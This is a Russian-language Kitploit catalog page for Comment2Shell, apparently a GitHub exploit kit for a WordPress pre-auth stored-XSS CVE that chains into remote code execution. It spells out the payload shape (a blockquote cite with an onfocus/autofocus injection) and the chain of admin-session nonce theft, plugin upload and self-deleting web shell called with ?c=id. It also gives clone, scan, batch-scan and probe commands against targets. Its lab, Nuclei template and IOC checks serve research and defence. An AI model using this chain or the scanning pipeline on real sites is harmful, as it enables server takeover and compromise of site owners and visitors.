Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Comment2Shell — Цепочка эксплуатации WordPress CVE-2026-93485 с zero-click и pre-auth: хранимая XSS в wpautop() приводит к загрузке плагина через admin-сессию и самоудаляющемуся веб-шеллу, с сканером, шеллом и шаблоном Nuclei. | Kitploit
Инструменты/GitHubGitHub/deathshotxd/comment2shell
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияВиртуализация для безопасностиВеб-безопасностьТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиЛаборатории и Практика
GitHub
6516591 месяц назадПроверено Kitploit
deathshotxd/comment2shell

Comment2Shell

Цепочка эксплуатации WordPress CVE-2026-93485 с zero-click и pre-auth: хранимая XSS в wpautop() приводит к загрузке плагина через admin-сессию и самоудаляющемуся веб-шеллу, с сканером, шеллом и шаблоном Nuclei.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Comment2Shell

Comment2Shell — это сквозной proof-of-concept для CVE-2026-93485, хранимого XSS до аутентификации в ядре WordPress wpautop(), который повышается до удалённого выполнения кода в сессии администратора. Анонимный комментарий внедряет полезную нагрузку; когда администратор открывает запись, браузер загружает плагин-вебшелл, выполняет команду и снова удаляет шелл. Вся цепочка — один файл Python без зависимостей.

Логотип Comment2Shell

CVE-2026-93485, CVSS 7.1 HIGH, до аутентификации, без кликов, исправлено в 7.1.1

Анимированный терминал: цепочка эксплойта от начала до конца


Что такое Comment2Shell?

Comment2Shell — это эксплойт и набор для локальной лаборатории для CVE-2026-93485. Уязвимость находится в wp-includes/formatting.php, в фильтре абзацев wpautop(), который выполняется во время отображения текста комментария. Символ новой строки внутри атрибута blockquote cite превращается в заполнитель HTML-комментария; регулярное выражение, оборачивающее blockquote, останавливается на первом > и внедряет тег абзаца в середину атрибута, который браузер затем разбирает как обработчик onfocus. Атрибут autofocus запускает его без кликов.

Инструмент охватывает всю цепочку: пассивное сканирование версии, безопасную XSS-пробу, полный эксплойт от состояния до аутентификации до RCE, интерактивный шелл и защитную проверку IOC.


Эксплойту не нужны ни учётная запись, ни nonce, ни взаимодействие, кроме просмотра записи администратором. Комментарии должны быть просто открыты.


Comment2Shell - CVE-2026-93485

Почему это важно

WordPress занимает значительную долю веба, а wpautop() — это код ядра, поэтому уязвимый фильтр присутствует в каждой затронутой установке независимо от темы или плагина. XSS является хранимым, выполняется до аутентификации и без кликов. Поскольку он выполняется в сессии администратора, это больше, чем порча сайта: cookie администратора достаточно для установки плагина, а установка плагина — это произвольное выполнение кода.

Исправление вышло в WordPress 7.1.1 с бэкпортами по 25 веткам, вплоть до 4.7.36. Затронут каждый выпуск с 4.7.0 по 7.1.0.

Демонстрация


Демонстрация Comment2Shell


Запуск в контролируемой лаборатории против WordPress 7.1.0: анонимный комментарий внедряет полезную нагрузку, администратор, открывающий запись, запускает цепочку без кликов, вебшелл загружается, вывод команды возвращается, а шелл удаляет себя. Заголовок вкладки браузера сообщает результат: либо Comment2Shell: shell uploaded, либо Comment2Shell: admin login required. Точная процедура описана в docker/README.md.

Вклад в исследование

Comment2Shell не претендует на обнаружение уязвимости. Она была сообщена Rafie Muhammad (Awesome Motive) через программу WordPress на HackerOne и исправлена в 7.1.1. Вклад здесь — воспроизводимая реализация полной цепочки без зависимостей:

  • условия фильтра во время отображения, позволяющие полезной нагрузке пройти KSES
  • сборщик ZIP в браузере, чтобы для загрузки плагина не требовался внешний файл
  • автоматическая очистка, при которой вебшелл удаляет сам себя после команды
  • артефакты для blue team: шаблон nuclei, скрипт IOC и запросы к логам

Поток атаки

Анонимный комментарий, ошибка wpautop, XSS без кликов, просмотр администратором, удалённое выполнение кода


1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

Требования

  • Комментарии открыты в опубликованной записи (по умолчанию)
  • Анонимное комментирование разрешено (по умолчанию, comment_registration=0)
  • Активна блочная тема (по умолчанию начиная с Twenty Twenty-Two)
  • Администратор, просматривающий запись в состоянии входа в систему
  • Python 3.8+ (только стандартная библиотека)

Установка

git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

Только стандартная библиотека Python 3.8+, без pip install.

Использование

Пассивное сканирование версии

# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -dL targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

Каждый объект результата содержит следующие поля:

ПолеЗначение
targetнормализованный целевой URL
wordpresstrue, если обнаружен WordPress
versionобнаруженная версия или null
version_methodспособ обнаружения версии, например meta или readme
vulnerabletrue, false или null, если версия неизвестна
post_idID поста с возможностью комментирования или null
errorстрока ошибки или null

Активный XSS-зонд

# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

Полная цепочка эксплуатации до выполнения команд

Полезная нагрузка эксплойта срабатывает alert("Comment2Shell XSS - CVE-2026-93485") при загрузке страницы (zero-click через autofocus). Просмотрите пост, будучи авторизованным как администратор. Затем заголовок вкладки показывает Comment2Shell: shell uploaded при успехе или Comment2Shell: admin login required, если в браузере нет сессии администратора.

Скачать инструмент